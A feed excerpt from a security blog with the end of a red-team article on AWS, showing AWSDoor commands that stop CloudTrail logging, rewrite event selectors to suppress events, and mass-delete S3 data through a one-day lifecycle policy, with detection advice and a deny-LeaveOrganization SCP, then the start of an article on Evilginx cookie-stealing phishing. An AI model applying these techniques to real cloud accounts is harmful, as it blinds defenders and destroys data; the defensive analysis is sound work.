<p style="text-align: justify;"><strong>In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services </strong>that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. <strong>These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, on the other hand, <strong>focuses on operational monitoring</strong>. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for <strong>real-time visibility</strong>. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and <strong>store logs from Lambda functions, EC2 instances, or custom applications.</strong></p>
<p style="text-align: justify;">Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.</p>
<p style="text-align: justify;">CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.</p>
<p style="text-align: justify;">CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a <em>trail</em>. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.</p>
<p style="text-align: justify;">As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Stop logging</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">While it is not <strong>easily possible to impact the logging capabilities of CloudWatch</strong>, it is possible to impact those of CloudTrail by simply deactivating the logging capability.</p>
<p style="text-align: justify;">This feature <strong>allows to stop a trail from logging the event without deleting it</strong>:</p>
<p> </p>
<figure id="attachment_27432" aria-describedby="caption-attachment-27432" style="width: 850px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27432" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png" alt="Trail with logging capabilities stopped" width="850" height="288" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1.png 1349w" sizes="auto, (max-width: 850px) 100vw, 850px" /><figcaption id="caption-attachment-27432" class="wp-caption-text"><em>Trail with logging capabilities stopped</em></figcaption></figure>
<p> </p>
<p>While this technique is effective to impair specifics logging capabilities, it has severs draws back:</p>
<ul>
<li>limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available</li>
<li>Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p>The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.</p>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.</p>
<p> </p>
<h4>Event selector</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p>In AWS CloudTrail, <strong>event selectors allow fine-grained control over what types of events a trail records.</strong> These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.</p>
<p>By default, <strong>trails log management events, but users can modify event selectors to exclude them</strong> partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail&#8217;s event selectors <strong>to suppress specific types of logs, such as disabling management event</strong> logging, thereby impairing visibility into changes made during or after a compromise.</p>
<p>Therefore, by altering event selectors it is <strong>possible to degrade the CloudTrail logging capabilities</strong>, making it harder for defenders to detect unauthorized activity or investigate incidents.</p>
<p>The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:</p>
<p> </p>
<figure id="attachment_27434" aria-describedby="caption-attachment-27434" style="width: 790px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27434" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png" alt="Logging event from a non existing resource" width="790" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1.png 1184w" sizes="auto, (max-width: 790px) 100vw, 790px" /><figcaption id="caption-attachment-27434" class="wp-caption-text"><em>Logging event from a non existing resource</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor can be used to <strong>reconfigure the event selector</strong> in order to prevent data and management event logging:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Once the script is run, <strong>the event selector is configured. The trail still appears as active</strong>:</p>
<p> </p>
<figure id="attachment_27436" aria-describedby="caption-attachment-27436" style="width: 807px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27436" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png" alt="Trail still considered as active" width="807" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1.png 1192w" sizes="auto, (max-width: 807px) 100vw, 807px" /><figcaption id="caption-attachment-27436" class="wp-caption-text"><em>Trail still considered as active</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, <strong>the event selector prevents further event</strong> logging:</p>
<p> </p>
<figure id="attachment_27438" aria-describedby="caption-attachment-27438" style="width: 1120px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27438" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png" alt="Event selector preventing logging" width="1120" height="764" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word.png 1247w" sizes="auto, (max-width: 1120px) 100vw, 1120px" /><figcaption id="caption-attachment-27438" class="wp-caption-text"><em>Event selector preventing logging</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:</p>
<p> </p>
<figure id="attachment_27440" aria-describedby="caption-attachment-27440" style="width: 779px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27440" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png" alt="Event logged by CloudTrail" width="779" height="936" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1.png 880w" sizes="auto, (max-width: 779px) 100vw, 779px" /><figcaption id="caption-attachment-27440" class="wp-caption-text"><em>Event logged by CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Destruction</h2>
<p style="text-align: justify;">Attacks focused on data destruction are designed to <strong>cause important operational damage by permanently erasing or corrupting critical information and infrastructure</strong>. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.</p>
<p style="text-align: justify;">In cloud environments like AWS, <strong>destructive attacks can impact all types of resources</strong>, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:</p>
<ul style="text-align: justify;">
<li><strong>Deleting S3 buckets</strong> can lead to the loss of backups, customer data, or reglementary / technical information (logging).</li>
<li><strong>Erasing EBS volumes or RDS snapshots</strong> can lead to total loss of application state or critical databases.</li>
<li>Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.</li>
</ul>
<h2> </h2>
<h3 style="text-align: justify;">AWS Organization Leave</h3>
<h4 style="text-align: justify;">Organization Leave</h4>
<p style="text-align: justify;">AWS Organizations <strong>is a service that allows you to centrally manage and govern multiple AWS accounts</strong> from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.</p>
<p style="text-align: justify;">Each AWS account <strong>in an organization remains isolated in terms of resources and identity</strong>, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. <strong>This structure is particularly useful for separating data and workloads</strong> by team, environment, or business unit while maintaining centralized governance.</p>
<p style="text-align: justify;">AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.</p>
<p> </p>
<figure id="attachment_27444" aria-describedby="caption-attachment-27444" style="width: 857px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27444" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png" alt="Exemple of AWS Organization" width="857" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1.png 1223w" sizes="auto, (max-width: 857px) 100vw, 857px" /><figcaption id="caption-attachment-27444" class="wp-caption-text"><em>Exemple of AWS Organization</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.</p>
<p style="text-align: justify;">For example, a company is <strong>hosting a eShop application on AWS</strong>. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.</p>
<p style="text-align: justify;">With full <strong>control over this now standalone account, the attacker can operate without oversight</strong>. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.</p>
<p style="text-align: justify;">From the company’s perspective, <strong>once the account has left the AWS Organization, the security team loses visibility and administrative authority over it</strong>. They cannot easily shut down the impacted resources directly from their AWS account.</p>
<p> </p>
<figure id="attachment_27446" aria-describedby="caption-attachment-27446" style="width: 920px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27446" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png" alt="Impact of AWS Organization leave" width="920" height="582" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1.png 1226w" sizes="auto, (max-width: 920px) 100vw, 920px" /><figcaption id="caption-attachment-27446" class="wp-caption-text"><em>Impact of AWS Organization leave</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Without admin access to the now-isolated account, <strong>the company has no way to disable services</strong>, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.</p>
<p> </p>
<h4 style="text-align: justify;">Privileges needed</h4>
<p style="text-align: justify;">To execute the LeaveOrganization action and <strong>detach an AWS account from its organization</strong>, the attacker must possess <strong>elevated permissions within the targeted account</strong>. Specifically, the following conditions and IAM privileges are required:</p>
<ul style="text-align: justify;">
<li><strong>Account-Level Access</strong>: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.</li>
<li><strong>organizations:LeaveOrganization Permission</strong>: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker&#8217;s effective permissions. This action is only valid when executed from within the member account, not from the management account.</li>
<li><strong>Billing Access</strong> Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.</li>
</ul>
<p> </p>
<h4 style="text-align: justify;">Defense and detection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Preventing Unauthorized LeaveOrganization Calls</span></h5>
<p style="text-align: justify;">The most effective control is the use of<strong> Service Control Policies (SCPs).</strong> SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.</p>
<p style="text-align: justify;">The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.</p>
<p style="text-align: justify;">The SCP, <strong>defined at the organization level, can prevent any user in the accounts to leave the organization</strong>. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.</p>
<p style="text-align: justify;">The following policy will prevent any misuse of LeaveOrganization:</p>
<p> </p>
<pre style="text-align: justify;">{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">This SCP should <strong>be attached directly at the root of the AWS</strong> <strong>Organization</strong> to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection and Monitoring</span></h5>
<p style="text-align: justify;">Even with SCPs in place, <strong>monitoring for LeaveOrganization attempts is essential for defense-in-depth</strong>. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.</p>
<p style="text-align: justify;">For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">S3 destruction</h3>
<h4 style="text-align: justify;">S3 standard deletion policy</h4>
<p style="text-align: justify;"><strong>Amazon S3 is one of the most widely used and trusted storage services</strong> within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.</p>
<p style="text-align: justify;">While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.</p>
<p style="text-align: justify;"><strong>Additionally, AWS enforces eventual consistency</strong> on object deletions, so even after a delete request, <strong>objects may temporarily persist</strong>. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.</p>
<p> </p>
<h4 style="text-align: justify;">Lifecycle policy</h4>
<p style="text-align: justify;">Amazon S3 Lifecycle Policies provide an automated mechanism to <strong>manage the storage lifecycle</strong> of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or <strong>expire (delete) them after a defined period, based on criteria like object age</strong>, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.</p>
<p style="text-align: justify;">However, <strong>lifecycle policies operate differently from manual processes</strong> and <strong>bypass the standard safeguards</strong> designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). <strong>Once applied, this policy is retroactive</strong>: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.</p>
<p style="text-align: justify;"><strong>Unlike manual deletions, lifecycle expirations are handled internally by AWS</strong> at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.</p>
<p style="text-align: justify;">As <strong>lifecycle</strong> <strong>policies are applied on a daily basis, the defender will have less than a day to detect the policy</strong> change, remove the deletion mark and revoke the attacker access.</p>
<p> </p>
<h4 style="text-align: justify;">AWSDoor</h4>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Detection</h4>
<p style="text-align: justify;">Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.</p>
<p style="text-align: justify;">Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. <strong>The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event</strong>, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.</p>
<p style="text-align: justify;">To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.</p>
<p style="text-align: justify;">In sensitive environments, such configuration changes should trigger immediate alerts, <strong>automatic remediation</strong> and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Conclusion</h2>
<h3 style="text-align: justify;">CSPM</h3>
<p style="text-align: justify;">The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.</p>
<p style="text-align: justify;">A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.</p>
<p> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.</p>
<p style="text-align: justify;">A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.</p>
<p> </p>
<h3 style="text-align: justify;">Backup and logging</h3>
<p style="text-align: justify;">Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.</p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Phishing: Pushing Evilginx to its limit</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:33 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26694</guid>

					<description><![CDATA[<p>Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network. Usually, threat actors try to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Phishing attacks <strong>are as old as the Internet</strong>. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.</p>
<p>Usually, threat actors <strong>try to send malicious documents </strong>such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, <strong>these types of techniques are less and less used.</strong></p>
<p>Today, threat actors do not perform phishing to get a direct initial access to the company network, but to <strong>retrieve the digital identity of a user</strong>: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.</p>
<p>To limit such attacks, <strong>companies started enforcing MFA</strong> to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.</p>
<p> </p>
<h2>Phishing 101</h2>
<p> </p>
<h3>IDP, cookies and phishing</h3>
<p>The MFA protection implemented by companies is a<strong> good way to limit the impact </strong>of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.</p>
<p>However, today the MFA is usually <strong>only asked during the first authentication:</strong> once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.</p>
<p>In the most common web IDPs such as Azure, Google or Okta, <strong>this ticket is represented by the cookies.</strong> When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.</p>
<figure id="attachment_26696" aria-describedby="caption-attachment-26696" style="width: 839px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png" alt="Cookie as session" width="839" height="673" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2.png 1420w" sizes="auto, (max-width: 839px) 100vw, 839px" /><figcaption id="caption-attachment-26696" class="wp-caption-text"><em>Cookie as session</em></figcaption></figure>
<p>In a nutshell, the <strong>user IDP cookies represent the user digital identity</strong>. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.</p>
<p> </p>
<h3>Evilginx</h3>
<h4>Evil proxy</h4>
<p>In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, <strong>the user will be aware that something wrong is happening.</strong></p>
<p>That’s where <strong>Evilginx comes into play</strong>. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: <strong>the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:</strong></p>
<figure id="attachment_26698" aria-describedby="caption-attachment-26698" style="width: 823px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png" alt="Evilgproxy functionning" width="823" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1.png 947w" sizes="auto, (max-width: 823px) 100vw, 823px" /><figcaption id="caption-attachment-26698" class="wp-caption-text"><em>Evilgproxy functionning</em></figcaption></figure>
<p>I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.</p>
<p> </p>
<h4>Phislets 101</h4>
<p>For example, during the authentication to Azure, the following domains are used:</p>
<ul>
